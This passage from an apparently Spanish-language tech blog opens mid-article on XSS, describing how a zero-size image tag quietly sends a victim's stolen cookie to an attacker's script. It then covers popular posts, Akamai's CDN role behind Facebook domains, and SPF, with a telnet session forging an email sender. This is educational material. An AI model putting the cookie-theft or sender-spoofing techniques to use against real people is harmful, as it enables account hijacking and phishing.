Con el código anterior, el usuario no notará nada extraño a simple vista. Utilizamos el tag IMG para cargar el script del atacante con la cookie robada, y dado que la imagen es de tamaño 0, el browser no la muestra! Esto es mucho mejor que antes, dado que no necesitamos redirigir el browser a la página maligna.
Por supuesto que existen otras formas de realizar este mismo ataque, éste es sólo un ejemplo.


Y esto cómo sigue?

Debido a la cantidad de información que tengo sobre XSS y dado que es un tema que me gusta mucho y es muy importante hoy en día, decidí partir el artículo en partes. Esta primera parte fue bastante larga, pero creo que si la partía el tema no quedaba completo.
Lo que vendrá en las siguientes partes es explicar XSS avanzado (CSRF, XSS Tunneling, XSS con POST) y métodos de mitigación en distintos lenguajes de programación, pero si surge algo más, tal vez se extienda a otros artículos. Así que stay tuned!


Algunas referencias

Cross Site Scripting Techniques and mitigation
Cross Site Scripting (XSS) FAQ
HTML Code Injection and Cross Site Scripting
Cross Site Scripting wiki
Principales vulnerabilidades en aplicaciones Web - presentación Christian Martorella
Lo más leido en Noviembre
Ufff otro mes que se nos va, ya nos queda uno solo en el año... como vuela el tiempo...
Noviembre fue un mes en el que volvieron las ganas de escribir y surgieron varios artículos que al menos a mi me parecieron muy interesantes, y espero que les hayan sido de utilidad.
Si bien diciembre suele ser un mes de fiestas, espero tener el tiempo y la disposición para agregar más artículos. Como siempre, ideas para artículos tengo muchas, falta el tiempo y la disposición mental para escribirlos =D
En fin, pasemos a lo que los artículos más visitados durante el pasado mes:

1. Crear máquina virtual en CentOS usando Xen. Artículo que viene reinando en visitas desde hace un par de meses. Las máquinas virtuales se plantan como el futuro, y Xen es una excelente opción.

2. Tunear logs de SQL Server. Esta entrada escalo del 3er lugar el mes pasado al 2do este mes, y no me extrañaría que aparezca primera el mes que viene. Muchas empresas utilizan SQL Server para sus aplicaciones, pero pocas analizan correctamente los logs o la seguridad en si. Comenzar con la configuración de los logs es un buen inicio.

3. Cómo crear un corrector ortográfico. Este bajó de la 2da posición, pero igualmente me sorprende que tenga tantas visitas. La creación de un corrector ortográfico es extremadamente sencilla e interesante.

4. Programando tareas con cron. Otro artículo que conserva su lugar. Automatizar la ejecución de tareas es esencial en la administración de servidores y workstations, saber utilizar cron es una gran ventaja.

5. Suplantación de Proxy en redes switcheadas. El único artículo escrito en noviembre que aparece en la lista, y para mi uno de los más interesantes que he escrito últimamente. La suplantación de un proxy en una red permite ver información de navegación de toda la Lan, representando un gran riesgo. Saber como esto funciona es indispensable para detectarlo y buscar la forma de corregirlo.
WTF es akamai???
Hoy se me dió por sniffear un poco mi tráfico de internet y encontré algo interesante. Al mirar las resoluciones DNS veía que muchos dominios de facebook se resolvían a direcciones del domionio akamai.net... y ahí es donde surgió el gran WTF!?
Por ejemplo, si abren fotos en facebook se encontrarán con que están hospedadas en el dominio photos-h.ak.fbcdn.net (ya nos fuimos de facebook.com a fbcdn.net), hasta aca todo bien porque fbcdn.net también pertenece a facebook. Ahora, si resuelven photos-h.ak.fbcdn.net se encontrarán con que es un alias de photos-d.ak.facebook.com.edgesuite.net el cual a su vez resuelve a a998.mm1.akamai.net. Los últimos dos dominios (edgesuite.net y akamai.net) son propiedad de Akamai Technologies, Inc.

No es la primera vez que me encuentro con el nombre akamai en los DNS, en algún momento mirando la cache de DNS de Windows había visto entradas que apuntaban a akamai, aún cuando nunca había visitado ese dominio.

Entonces, qué es akamai y por qué direcciones de facebook resuelven a akamai?
Haciendo una búsqueda en google del nombre akamai nos encontramos con algo de información en wiki, así como links a la página comercial de akamai akamai.com. Esta empresa llamada Akamai Tehnologies Inc. se dedica a proveer una plataforma de computación distribuida a importantísimas empresas (Adobe, Sun, MTV, MySpace, y un largo etc).
Akamai se encarga de almacenar copias del contenido (html, css, imagenes, videos, etc) de distintos sites (en nuestro ejemplo sería facebook) y brindar estas copias de forma transparente a los usuarios que navegan de internet. De esta forma, proveen mayor ancho de banda y al tener copias distribuidas por distintos lugares del mundo, hacen que los usuarios accedan copias en servers cercanos a su país o servers con mayor ancho de banda.
En resúmen, Akamai funciona de gran cache de otros sites para mejorar el ancho de banda considerablemente.

Según la página oficial de Akamai, éstos proveen entre un 10 y un 20 por ciento de todo el tráfico Web mundial, alcanzando hasta los 650 GB/s!!!

Realmente esta empresa tiene una presencia monstruosa en la red y por eso es que veremos muy seguido el dominio akamai.net en nuestras resoluciones DNS.
Dando pelea al SPAM: Sender Policy Framework (SPF)
Cuando realicé mi anterior artículo sobre técnicas antispam no conocía una técnica muy interesante y bastante usada actualmente, la cual es Sender Policy Framework (SPF).
SPF es un sistema de validación de e-mail que permite lidiar contra los e-mails que falsifican la dirección de origen, algo muy común entre los spammers. Esto es, con esta técnica podemos verificar que un e-mail que dice venir de @gmail.com, viene realmente de un servidor de gmail y no de un falsificador.


Algo de Background (SMTP)

Para entender cómo es posible que alguien falsifique una dirección de e-mail, necesito que conozcan un poco del protocolo SMTP. SMTP (Simple Mail Transfer Protocol) es el protocolo encargado de transmitir los e-mails entre servidores. Cuando un usuario desea enviar un e-mail, éste se conecta, ya sea directamente o por interfaz web, a un servidor SMTP y provee sus datos así como el cuerpo del mail.
El protocolo SMTP es simple (le queda bien su nombre) y al estar basado en texto podemos utilizarlo con telnet o netcat conectándonos directamente.
Los datos básicos para enviar un e-mail son la dirección electrónica de origen, la de destino, y el cuerpo del e-mail. Debido a que todos estos campos pueden ser entrados a mano, uno puede enviar un mail colocando cualquier dirección de correo como el origen.
Un ejemplo de conexión SMTP es la siguiente:

root@bt:~# telnet mail.ejemplo.com 25
<<< 220 mail.ejemplo.com ESMTP Postfix
>>> HELO mail.ejemplo.com
<<< 250 mail.ejemplo.com
>>> MAIL FROM: godzilla@ejemplo.com
<<< 250 Ok
>>> RCPT TO: kingkong@ejemplo.com
<<< 250 Ok
>>> DATA
<<< 354 End data with .
>>> gorilon inutil, te aplasto como cucaracha
>>> .
<<< 250 Ok: queued as 12345
>>> QUIT
<<< 221 Bye

Las entradas marcadas con <<< son las respuestas del servidor, y las marcadas con >>> son los comandos ingresados por el cliente. Como se ve, primero saludamos educadamente al servidor con un HELO, luego decimos quién es el emisor del mail (MAIL FROM), a continuación entregamos la dirección del receptor (RCPT TO) y luego ponemos el cuerpo del mail, comenzando con el comando DATA y terminando con un "."
En un servidor sin configurar o mal configurado, o configurado especialmente para enviar SPAM, no existe ninguna restricción a la hora de escribir la dirección de orígen. Tranquilamente podría haber puesto support@microsoft.com o admin@gmail.com.


Cómo funciona?

Ahora si, con la pequeña introducción al protocolo SMTP ya tienen una idea de qué trata el spoofing de direcciones de e-mail, es hora de hablar sobre cómo funciona SPF.
SPF utiliza un principio muy simple para verificar direcciones, el cual es consultar al dominio de donde supuestamente viene el e-mail preguntando si la dirección IP desde donde nos llegó el mail pertenece a sus servidores.

Para aclarar un poco más las cosas, pensemos en los datos que tenemos al recibir un mail. Por un lado tenemos el "from", el "to" y los datos, todo falsificable como pudieron observar en el ejemplo anterior, pero a su vez contamos con la dirección IP del servidor que nos envía el e-mail.
Supongamos que recibimos un mail de admin@gmail.com, con IP de orígen 192.168.1.1 (dirección de ejemplo, nunca recibiremos un mail con esa direccion, al menos no de un servidor externo). El servidor que recibe el e-mail consulta al servidor de DNS de google y le pregunta "cuáles son las IPs de los servidores autorizados a enviar mails a nombre de google.com?", a lo cual google.com responderá con las IPs autorizadas. Si entre las IPs entregadas por google no figura 192.168.1.1 entonces sabremos que el mail ha sido falsificado.

En la imagen puede verse mejor cómo funciona SPF. En el paso 1 el emisor (bueno o malo) envía un e-mail a nuestro servidor. Cuando el servidor recibe el mail, éste consulta al servidor DNS del dominio al cual "supuestamente" pertenece el mail (paso 2). En el paso 3 el servidor DNS contesta con los IPs autorizados a enviar mails a nombre de su dominio. Cuando el servidor de mail recibe la respuesta del DNS, éste decide si el mail es válido o no. Si no es válido puede optar por rechazarlo o simplemente informarselo al usuario que recibe el mail.


Cómo usamos SPF?

Para poder utilizar SPF necesitamos un servidor de mails que soporte esta tecnología. Actualmente todos los servidores más conocidos traen soporte, ya sea de forma nativa o implementada como plug-in. En la página de openspf pueden encontrar una lista de los servidores que soportan SPF.
Como siempre, a Microsoft le gusta ser distinto y pasarse los estándares por las bol*s, así que decidió crear una versión propia de SPF la cual llamó Sender ID, pero el principio es exactamente el mismo.

Además del servidor con soporte SPF, si queremos que otros no puedan falsificar e-mails con nuestro nombre de dominio, necesitamos configurar una entrada en el/los servidor/es DNS autoritarios para nuestro dominio con un formato predefinido. Para no andar con problemas, se decidió utilizar el registro de tipo texto (TXT) del sistema DNS e incluir ahí los datos necesarios para el funcionamiento SPF.
Este registro contiene la versión de SPF y las IPs que tienen permitido enviar e-mails a nombre del dominio. El protocolo permite cierta flexibilidad y podemos especificar que todos los registros MX del dominio tienen permitido enviar mails, o incluir otros dominios en la lista de posibles emisores.
Para ver un ejemplo, podemos usar a google. Si hacemos un "nslookup -q=TXT google.com" veremos que nos responde con la siguiente entrada:
google.com text = "v=spf1 include:_netblocks.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all"
Este registro es bastante completo y contiene los siguientes datos:
- v=spf1 indica que utiliza la version 1 de SPF.
- include:_netblocks.google.com indica que los servidores del dominio _netblocks.google.com tienen permitido enviar e-mails a nombre de google.com
- ip4:216.73.93.70/31 ip4:216.73.93.72/31 indica que los rangos de IPv4 216.73.93.70/31 y 216.73.93.72/31 son emisores válidos para google.
- ~all nos dice que ningún servidor que no esté listado en los datos anteriores es un emisor válido.

Hay varios registros más que podemos utilizar para describir servidores válidos para el dominio, los cuales pueden ver en la página del proyecto SPF.

Si tienen problemas creando las entradas SPF en el servidor DNS no desesperen! existen wizards en páginas web diseñados para solucionarnos la vida. Por un lado contamos con el wizard de openspf y por si no les alcanza, también pueden utilizar el de Microsoft
Seguramente existen varios más, pero estos son los que primero encontre =P


Reflexión final

SPF puede ayudarnos muchísimo a limitar el SPAM que entra a nuestros servidores utilizando un mecanismo simple y ya implementado en los servidores de mails más importantes.
El mecanismo utilizado es muy similar a otros, como el de resolución inversa de IP, donde al recibir un mail de una dada IP el servidor realiza una consulta inversa (registro PTR en DNS) y resuelve si la IP pertenece al dominio de donde dice venir. Lo bueno de SPF es que es mucho más flexible, permitiendo definir distintos registros y dominios válidos.

La peor desventaja que le veo a SPF es el overhead de red. Utilizando este mecanismo tendremos que hacer una consulta DNS por cada e-mail que recibimos, lo cual, si recibimos cientos o miles de mails por día, puede resultar en alto consumo de ancho de banda y delays en la entrega de los mails.

Algo a tener en cuenta es que este sistema no elimina la posibilidad de enviar mails falsificados dentro de un mismo dominio. Si por ejemplo pepe envía un e-mail a nombre de jose@empresa.com utilizando el servidor de empresa.com, el e-mail será perfectamente válido desde el punto de vista de SPF.


Algunas Referencias
Sender Policy Framework Introduction
Sender Policy Framework (wiki)